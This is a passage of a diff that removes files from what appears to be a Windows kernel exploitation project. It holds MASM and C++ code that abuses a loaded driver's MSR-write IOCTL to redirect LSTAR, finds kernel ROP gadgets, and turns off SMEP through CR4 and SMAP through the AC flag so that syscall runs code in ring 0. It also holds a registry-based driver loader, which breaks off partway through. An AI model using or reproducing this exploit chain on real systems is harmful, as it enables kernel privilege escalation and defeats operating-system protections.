sub rsp, 020h
|
||||
call msrexec_handler ; call c++ handler (which restores LSTAR and calls lambda...)
|
||||
add rsp, 020h
|
||||
|
||||
pop r11 ; pop EFLAGS
|
||||
pop rcx ; pop RIP
|
||||
|
||||
mov rax, m_kpcr_rsp_offset ; restore rsp back to usermode stack...
|
||||
mov rsp, gs:[rax]
|
||||
|
||||
swapgs ; swap back to TIB...
|
||||
ret
|
||||
syscall_handler endp
|
||||
|
||||
syscall_wrapper proc
|
||||
push r10 ; syscall puts RIP into rcx...
|
||||
pushfq
|
||||
|
||||
mov r10, rcx ; swap r10 and rcx...
|
||||
push m_sysret_gadget ; REX.W prefixed...
|
||||
|
||||
lea rax, finish ; preserved value of RIP by putting it on the stack here...
|
||||
push rax ;
|
||||
|
||||
push m_pop_rcx_gadget ; gadget to put RIP back into rcx...
|
||||
push m_mov_cr4_gadget ; turn smep back on...
|
||||
|
||||
push m_smep_on ; value of CR4 with smep off...
|
||||
push m_pop_rcx_gadget ;
|
||||
|
||||
lea rax, syscall_handler ; rop to syscall_handler to handle the syscall...
|
||||
push rax ;
|
||||
|
||||
push m_mov_cr4_gadget ; disable smep...
|
||||
push m_smep_off ;
|
||||
|
||||
pushfq ; THANK YOU DREW YOU SAVED THE PROJECT!!!
|
||||
pop rax ; this will set the AC flag in EFLAGS which "disables SMAP"...
|
||||
or rax, 040000h ;
|
||||
push rax ;
|
||||
popfq ;
|
||||
|
||||
syscall ; LSTAR points at a pop rcx gadget...
|
||||
; it will put m_smep_off into rcx...
|
||||
finish:
|
||||
popfq ; restore EFLAGS...
|
||||
pop r10 ; restore r10...
|
||||
ret
|
||||
syscall_wrapper endp
|
||||
end
|
@ -1,14 +0,0 @@
|
||||
#pragma once
|
||||
#include "ia32.hpp"
|
||||
|
||||
extern "C" std::uint32_t m_kpcr_rsp_offset;
|
||||
extern "C" std::uint32_t m_kpcr_krsp_offset;
|
||||
|
||||
extern "C" std::uintptr_t m_pop_rcx_gadget;
|
||||
extern "C" std::uintptr_t m_mov_cr4_gadget;
|
||||
extern "C" std::uintptr_t m_sysret_gadget;
|
||||
|
||||
extern "C" cr4 m_smep_on;
|
||||
extern "C" cr4 m_smep_off;
|
||||
extern "C" std::uintptr_t m_system_call;
|
||||
extern "C" void syscall_wrapper(...);
|
@ -1,40 +0,0 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <functional>
|
||||
#include <map>
|
||||
|
||||
namespace obfuscation{ class obfuscate; }
|
||||
namespace lnk { using obj_buffer_t = std::vector<std::uint8_t>; }
|
||||
|
||||
namespace theo
|
||||
{
|
||||
using malloc_t = std::function<void*(std::size_t bytes, std::uint32_t prot)>;
|
||||
using memcpy_t = std::function<decltype(memcpy)>;
|
||||
|
||||
using resolve_symbol_t = std::function<std::uintptr_t(const char*)>;
|
||||
using mapper_routines_t = std::tuple<malloc_t, memcpy_t, resolve_symbol_t>;
|
||||
|
||||
class hmm_ctx
|
||||
{
|
||||
public:
|
||||
explicit hmm_ctx(const mapper_routines_t& routines);
|
||||
auto map_objs(std::vector<lnk::obj_buffer_t>& objs) -> bool;
|
||||
auto get_symbol(std::string symbol_name) -> std::uintptr_t;
|
||||
|
||||
malloc_t alloc;
|
||||
memcpy_t mcopy;
|
||||
resolve_symbol_t resolve_symbol;
|
||||
private:
|
||||
bool map_symbols(std::vector<lnk::obj_buffer_t>& objs);
|
||||
bool map_obfuscated_symbols(std::vector<lnk::obj_buffer_t>& objs);
|
||||
|
||||
bool resolve_relocs(std::vector<lnk::obj_buffer_t>& objs);
|
||||
bool alloc_obfuscated_symbol_space(std::vector<lnk::obj_buffer_t>& objs);
|
||||
bool alloc_symbol_space(std::vector<lnk::obj_buffer_t>& objs);
|
||||
|
||||
std::map<std::string, std::uintptr_t> mapped_symbols;
|
||||
std::map<std::uintptr_t, std::shared_ptr<obfuscation::obfuscate>> obfuscated_gadgets;
|
||||
};
|
||||
}
|
@ -1,423 +0,0 @@
|
||||
/*
|
||||
WARNING: utils.hpp must be the first file included...
|
||||
this is because i use getenv and that requires _CRT_SECURE_NO_WARNINGS...
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
#include <ntstatus.h>
|
||||
#include <tlhelp32.h>
|
||||
|
||||
#include <fstream>
|
||||
#include <functional>
|
||||
#include <cstdint>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <map>
|
||||
#include "ia32.hpp"
|
||||
|
||||
inline bool dbg_print = false;
|
||||
#define DBG_PRINT(format, ...) \
|
||||
std::printf(format, __VA_ARGS__ )
|
||||
|
||||
typedef struct _RTL_PROCESS_MODULE_INFORMATION
|
||||
{
|
||||
HANDLE Section;
|
||||
PVOID MappedBase;
|
||||
PVOID ImageBase;
|
||||
ULONG ImageSize;
|
||||
ULONG Flags;
|
||||
USHORT LoadOrderIndex;
|
||||
USHORT InitOrderIndex;
|
||||
USHORT LoadCount;
|
||||
USHORT OffsetToFileName;
|
||||
UCHAR FullPathName[256];
|
||||
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
|
||||
|
||||
typedef struct _RTL_PROCESS_MODULES
|
||||
{
|
||||
ULONG NumberOfModules;
|
||||
RTL_PROCESS_MODULE_INFORMATION Modules[1];
|
||||
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
|
||||
|
||||
#define SystemKernelVaShadowInformation (SYSTEM_INFORMATION_CLASS) 196
|
||||
typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION
|
||||
{
|
||||
struct
|
||||
{
|
||||
ULONG KvaShadowEnabled : 1;
|
||||
ULONG KvaShadowUserGlobal : 1;
|
||||
ULONG KvaShadowPcid : 1;
|
||||
ULONG KvaShadowInvpcid : 1;
|
||||
ULONG KvaShadowRequired : 1;
|
||||
ULONG KvaShadowRequiredAvailable : 1;
|
||||
ULONG InvalidPteBit : 6;
|
||||
ULONG L1DataCacheFlushSupported : 1;
|
||||
ULONG L1TerminalFaultMitigationPresent : 1;
|
||||
ULONG Reserved : 18;
|
||||
} KvaShadowFlags;
|
||||
} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, * PSYSTEM_KERNEL_VA_SHADOW_INFORMATION;
|
||||
|
||||
namespace utils
|
||||
{
|
||||
inline std::uintptr_t scan(std::uintptr_t base, std::uint32_t size, const char* pattern, const char* mask)
|
||||
{
|
||||
static const auto check_mask =
|
||||
[&](const char* base, const char* pattern, const char* mask) -> bool
|
||||
{
|
||||
for (; *mask; ++base, ++pattern, ++mask)
|
||||
if (*mask == 'x' && *base != *pattern)
|
||||
return false;
|
||||
return true;
|
||||
};
|
||||
|
||||
size -= strlen(mask);
|
||||
for (auto i = 0; i <= size; ++i)
|
||||
{
|
||||
void* addr = (void*)&(((char*)base)[i]);
|
||||
if (check_mask((char*)addr, pattern, mask))
|
||||
return reinterpret_cast<std::uintptr_t>(addr);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
inline void open_binary_file(const std::string& file, std::vector<uint8_t>& data)
|
||||
{
|
||||
std::ifstream fstr(file, std::ios::binary);
|
||||
fstr.unsetf(std::ios::skipws);
|
||||
fstr.seekg(0, std::ios::end);
|
||||
|
||||
const auto file_size = fstr.tellg();
|
||||
|
||||
fstr.seekg(NULL, std::ios::beg);
|
||||
data.reserve(static_cast<uint32_t>(file_size));
|
||||
data.insert(data.begin(), std::istream_iterator<uint8_t>(fstr), std::istream_iterator<uint8_t>());
|
||||
}
|
||||
|
||||
inline std::uint32_t get_pid(const wchar_t* proc_name)
|
||||
{
|
||||
PROCESSENTRY32 proc_info;
|
||||
proc_info.dwSize = sizeof(proc_info);
|
||||
|
||||
HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
|
||||
if (proc_snapshot == INVALID_HANDLE_VALUE)
|
||||
return NULL;
|
||||
|
||||
Process32First(proc_snapshot, &proc_info);
|
||||
if (!wcscmp(proc_info.szExeFile, proc_name))
|
||||
{
|
||||
CloseHandle(proc_snapshot);
|
||||
return proc_info.th32ProcessID;
|
||||
}
|
||||
|
||||
while (Process32Next(proc_snapshot, &proc_info))
|
||||
{
|
||||
if (!wcscmp(proc_info.szExeFile, proc_name))
|
||||
{
|
||||
CloseHandle(proc_snapshot);
|
||||
return proc_info.th32ProcessID;
|
||||
}
|
||||
}
|
||||
|
||||
CloseHandle(proc_snapshot);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
namespace kmodule
|
||||
{
|
||||
using kmodule_callback_t = std::function<bool(PRTL_PROCESS_MODULE_INFORMATION, const char*)>;
|
||||
inline void each_module(kmodule_callback_t callback)
|
||||
{
|
||||
void* buffer = nullptr;
|
||||
DWORD buffer_size = NULL;
|
||||
|
||||
auto status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||
buffer, buffer_size, &buffer_size);
|
||||
|
||||
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||
buffer, buffer_size, &buffer_size);
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return;
|
||||
}
|
||||
|
||||
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||
{
|
||||
auto full_path = std::string(
|
||||
reinterpret_cast<char*>(
|
||||
modules->Modules[idx].FullPathName));
|
||||
|
||||
if (full_path.find("\\SystemRoot\\") != std::string::npos)
|
||||
full_path.replace(full_path.find("\\SystemRoot\\"),
|
||||
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
|
||||
|
||||
else if (full_path.find("\\??\\") != std::string::npos)
|
||||
full_path.replace(full_path.find("\\??\\"),
|
||||
sizeof("\\??\\") - 1, "");
|
||||
|
||||
if (!callback(&modules->Modules[idx], full_path.c_str()))
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return;
|
||||
}
|
||||
|
||||
inline std::uintptr_t get_base(const char* module_name)
|
||||
{
|
||||
void* buffer = nullptr;
|
||||
DWORD buffer_size = NULL;
|
||||
|
||||
auto status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||
buffer, buffer_size, &buffer_size);
|
||||
|
||||
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||
buffer, buffer_size, &buffer_size);
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||
{
|
||||
const auto current_module_name =
|
||||
std::string(reinterpret_cast<char*>(
|
||||
modules->Modules[idx].FullPathName) +
|
||||
modules->Modules[idx].OffsetToFileName);
|
||||
|
||||
if (!_stricmp(current_module_name.c_str(), module_name))
|
||||
{
|
||||
const auto result =
|
||||
reinterpret_cast<std::uint64_t>(
|
||||
modules->Modules[idx].ImageBase);
|
||||
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
inline std::uintptr_t get_export(const char* module_name, const char* export_name)
|
||||
{
|
||||
void* buffer = nullptr;
|
||||
DWORD buffer_size = NULL;
|
||||
|
||||
NTSTATUS status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||
buffer,
|
||||
buffer_size,
|
||||
&buffer_size
|
||||
);
|
||||
|
||||
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
VirtualFree(buffer, 0, MEM_RELEASE);
|
||||
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||
buffer,
|
||||
buffer_size,
|
||||
&buffer_size
|
||||
);
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
VirtualFree(buffer, 0, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||
{
|
||||
// find module and then load library it
|
||||
const std::string current_module_name =
|
||||
std::string(reinterpret_cast<char*>(
|
||||
modules->Modules[idx].FullPathName) +
|
||||
modules->Modules[idx].OffsetToFileName
|
||||
);
|
||||
|
||||
if (!_stricmp(current_module_name.c_str(), module_name))
|
||||
{
|
||||
auto full_path = std::string(
|
||||
reinterpret_cast<char*>(
|
||||
modules->Modules[idx].FullPathName));
|
||||
|
||||
if (full_path.find("\\SystemRoot\\") != std::string::npos)
|
||||
full_path.replace(full_path.find("\\SystemRoot\\"),
|
||||
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
|
||||
|
||||
else if (full_path.find("\\??\\") != std::string::npos)
|
||||
full_path.replace(full_path.find("\\??\\"),
|
||||
sizeof("\\??\\") - 1, "");
|
||||
|
||||
const auto module_base =
|
||||
LoadLibraryExA(
|
||||
full_path.c_str(),
|
||||
NULL,
|
||||
DONT_RESOLVE_DLL_REFERENCES
|
||||
);
|
||||
|
||||
if (!module_base)
|
||||
{
|
||||
// free the RTL_PROCESS_MODULES buffer...
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
const auto image_base =
|
||||
reinterpret_cast<std::uintptr_t>(
|
||||
modules->Modules[idx].ImageBase);
|
||||
|
||||
// free the RTL_PROCESS_MODULES buffer...
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
|
||||
const auto export_um_addr =
|
||||
reinterpret_cast<std::uintptr_t>(
|
||||
GetProcAddress(module_base, export_name));
|
||||
|
||||
if (!export_um_addr)
|
||||
return NULL;
|
||||
|
||||
return (export_um_addr - reinterpret_cast<std::uintptr_t>(module_base)) + image_base;
|
||||
}
|
||||
}
|
||||
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
namespace pe
|
||||
{
|
||||
using section_callback_t = std::function<bool(PIMAGE_SECTION_HEADER, std::uintptr_t)>;
|
||||
|
||||
// returns an std::vector containing all of the bytes of the section
|
||||
// and also the RVA from the image base to the beginning of the section...
|
||||
inline std::pair<std::vector<std::uint8_t>, std::uint32_t> get_section(std::uintptr_t module_base, const char* section_name)
|
||||
{
|
||||
const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
|
||||
reinterpret_cast<PIMAGE_DOS_HEADER>(module_base)->e_lfanew + module_base);
|
||||
|
||||
const auto section_header =
|
||||
reinterpret_cast<PIMAGE_SECTION_HEADER>(
|
||||
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
|
||||
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
|
||||
{
|
||||
const auto _section_name =
|
||||
reinterpret_cast<char*>(
|
||||
section_header[idx].Name);
|
||||
|
||||
// sometimes section names are not null terminated...
|
||||
if (!strncmp(_section_name, section_name, strlen(section_name) - 1))
|
||||
{
|
||||
const auto section_base =
|
||||
reinterpret_cast<std::uint8_t*>(
|
||||
module_base + section_header[idx].VirtualAddress);
|
||||
|
||||
const auto section_end =
|
||||
reinterpret_cast<std::uint8_t*>(
|
||||
section_base + section_header[idx].Misc.VirtualSize);
|
||||
|
||||
std::vector<std::uint8_t> section_bin(section_base, section_end);
|
||||
return { section_bin, section_header[idx].VirtualAddress };
|
||||
}
|
||||
}
|
||||
|
||||
return { {}, {} };
|
||||
}
|
||||
|
||||
inline void each_section(section_callback_t callback, std::uintptr_t module_base)
|
||||
{
|
||||
if (!module_base)
|
||||
return;
|
||||
|
||||
const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
|
||||
reinterpret_cast<PIMAGE_DOS_HEADER>(module_base)->e_lfanew + module_base);
|
||||
|
||||
const auto section_header =
|
||||
reinterpret_cast<PIMAGE_SECTION_HEADER>(
|
||||
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
|
||||
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
|
||||
// keep looping until the callback returns false...
|
||||
if (!callback(§ion_header[idx], module_base))
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
namespace rop
|
||||
{
|
||||
// https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/
|
||||
// http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html?m=1
|
||||
// just implimented the rop information from these posts...
|
||||
inline std::uintptr_t find_kgadget(const char* sig, const char* mask)
|
||||
{
|
||||
std::uintptr_t result = 0u;
|
||||
kmodule::each_module(
|
||||
[&](auto kernel_image, const char* image_name) -> bool
|
||||
{
|
||||
utils::pe::each_section(
|
||||
[&](auto section_header, std::uintptr_t image_base) -> bool
|
||||
{
|
||||
if (section_header->Characteristics & IMAGE_SCN_CNT_CODE &&
|
||||
!(section_header->Characteristics & IMAGE_SCN_MEM_DISCARDABLE))
|
||||
{
|
||||
const auto rop_gadget =
|
||||
utils::scan(image_base + section_header->VirtualAddress,
|
||||
section_header->Misc.VirtualSize, sig, mask);
|
||||
|
||||
if(rop_gadget)
|
||||
result = (rop_gadget - image_base) +
|
||||
reinterpret_cast<std::uintptr_t>(kernel_image->ImageBase);
|
||||
|
||||
return !rop_gadget;
|
||||
}
|
||||
return true;
|
||||
},
|
||||
reinterpret_cast<std::uintptr_t>(
|
||||
LoadLibraryExA(image_name,
|
||||
NULL, DONT_RESOLVE_DLL_REFERENCES))
|
||||
);
|
||||
return !result;
|
||||
}
|
||||
);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,66 +0,0 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <cstdint>
|
||||
|
||||
#include "loadup.hpp"
|
||||
#include "raw_driver.hpp"
|
||||
#define IOCTL_WRMSR 0x229384
|
||||
|
||||
#pragma pack (push, 1)
|
||||
typedef struct _write_msr_t
|
||||
{
|
||||
std::uint32_t reg;
|
||||
std::uintptr_t value;
|
||||
} write_msr_t, * pwrite_msr_t;
|
||||
#pragma pack (pop)
|
||||
|
||||
namespace vdm
|
||||
{
|
||||
inline HANDLE drv_handle;
|
||||
inline auto load_drv() -> std::tuple<HANDLE, std::string, NTSTATUS>
|
||||
{
|
||||
const auto [result, key] =
|
||||
driver::load(
|
||||
raw_driver,
|
||||
sizeof raw_driver
|
||||
);
|
||||
|
||||
if (result != STATUS_SUCCESS)
|
||||
return { {}, {}, result };
|
||||
|
||||
std::string symlink("\\\\.\\" + key);
|
||||
vdm::drv_handle = CreateFileA(
|
||||
symlink.c_str(),
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
NULL,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
NULL
|
||||
);
|
||||
|
||||
return { vdm::drv_handle, key, result };
|
||||
}
|
||||
|
||||
inline auto unload_drv(HANDLE drv_handle, std::string drv_key) -> NTSTATUS
|
||||
{
|
||||
if (!CloseHandle(drv_handle))
|
||||
return STATUS_FAIL_CHECK;
|
||||
|
||||
return driver::unload(drv_key);
|
||||
}
|
||||
|
||||
inline auto writemsr(std::uint32_t reg, std::uintptr_t value) -> bool
|
||||
{
|
||||
std::uint32_t bytes_handled;
|
||||
write_msr_t io_data{ reg, value };
|
||||
|
||||
return DeviceIoControl
|
||||
(
|
||||
vdm::drv_handle, IOCTL_WRMSR,
|
||||
&io_data, sizeof io_data,
|
||||
&io_data, sizeof io_data,
|
||||
(LPDWORD)&bytes_handled, nullptr
|
||||
);
|
||||
}
|
||||
}
|
@ -1,47 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files\vdm">
|
||||
<UniqueIdentifier>{d577b285-0f2e-4432-a4f8-3013068a09e4}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="vdm_ctx\vdm_ctx.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="utils.hpp">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="vdm_ctx\vdm_ctx.hpp">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="vdm\raw_driver.hpp">
|
||||
<Filter>Header Files\vdm</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="vdm\vdm.hpp">
|
||||
<Filter>Header Files\vdm</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="loadup.hpp">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="linker.hpp">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="theo.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
@ -1,13 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LocalDebuggerCommandArguments>
|
||||
</LocalDebuggerCommandArguments>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LocalDebuggerCommandArguments>
|
||||
</LocalDebuggerCommandArguments>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
</Project>
|
@ -1,76 +0,0 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
#include <vector>
|
||||
#include <functional>
|
||||
#include <fstream>
|
||||
#include "utils.hpp"
|
||||
|
||||
namespace lnk
|
||||
{
|
||||
enum theo_type
|
||||
{
|
||||
obfuscate = 1,
|
||||
mutate = 2,
|
||||
encrypt = 3
|
||||
};
|
||||
|
||||
struct symbol_t
|
||||
{
|
||||
// name of the symbol... not mangled...
|
||||
std::string symbol_name;
|
||||
|
||||
// https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#type-representation
|
||||
std::uint32_t type;
|
||||
|
||||
// what section this symbol is in...
|
||||
std::uint32_t section_number;
|
||||
|
||||
// offset into section...
|
||||
std::uint32_t section_offset;
|
||||
|
||||
// file offset into OBJ file...
|
||||
std::uint32_t file_offset;
|
||||
|
||||
// only used by functions... size in bytes of routine...
|
||||
std::uint32_t size;
|
||||
|
||||
// if this symbol is a function and is inside of a .theo section...
|
||||
theo_type obfuscate_type;
|
||||
};
|
||||
|
||||
// redef of IMAGE_RELOCATION so that "VirtualAddress"
|
||||
// will actually be a file offset instead of a section offset...
|
||||
struct image_reloc_t
|
||||
{
|
||||
// name of the symbol to be resolved for example "ExAllocatePool"...
|
||||
std::string resolve_symbol_name;
|
||||
|
||||
// offset into the obj file where the resolving needs to be done...
|
||||
std::uint32_t file_offset;
|
||||
|
||||
// type of data that needs to be resolved... this will be 64bit addresses...
|
||||
// https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#type-indicators
|
||||
std::uint16_t type;
|
||||
};
|
||||
|
||||
using obj_buffer_t = std::vector<std::uint8_t>;
|
||||
using map_symbols_t = std::map<std::string, std::pair<std::uint32_t, std::uint32_t>>;
|
||||
|
||||
auto get_symbol_size(symbol_t& sym, obj_buffer_t& obj) -> std::uint32_t;
|
||||
auto get_objs(std::string lib_path, std::vector<obj_buffer_t>& objs) -> bool;
|
||||
auto get_map_symbols(std::string map_path) -> map_symbols_t;
|
||||
|
||||
namespace sym
|
||||
{
|
||||
auto get_all(obj_buffer_t& obj) -> std::vector<symbol_t>;
|
||||
auto get_relocs(obj_buffer_t& obj)->std::vector<image_reloc_t>;
|
||||
}
|
||||
|
||||
namespace section
|
||||
{
|
||||
using section_callback_t = std::function<bool(PIMAGE_SECTION_HEADER, obj_buffer_t& obj)>;
|
||||
auto get_header(obj_buffer_t& obj, const char* section_name) -> PIMAGE_SECTION_HEADER;
|
||||
auto for_each(section_callback_t callback, obj_buffer_t& obj) -> void;
|
||||
}
|
||||
}
|
@ -1,262 +0,0 @@
|
||||
/*
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2020 xerox
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
*/
|
||||
|
||||
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <Winternl.h>
|
||||
#include <string>
|
||||
#include <fstream>
|
||||
#include <filesystem>
|
||||
#include <ntstatus.h>
|
||||
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING);
|
||||
extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING);
|
||||
|
||||
namespace driver
|
||||
{
|
||||
namespace util
|
||||
{
|
||||
__forceinline auto delete_service_entry(const std::string& service_name) -> bool
|
||||
{
|
||||
HKEY reg_handle;
|
||||
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||
|
||||
auto result = RegOpenKeyA(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
reg_key.c_str(),
|
||||
®_handle
|
||||
);
|
||||
|
||||
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) &&
|
||||
ERROR_SUCCESS == RegCloseKey(reg_handle);;
|
||||
}
|
||||
|
||||
__forceinline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool
|
||||
{
|
||||
HKEY reg_handle;
|
||||
std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||
reg_key += service_name;
|
||||
|
||||
auto result = RegCreateKeyA(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
reg_key.c_str(),
|
||||
®_handle
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
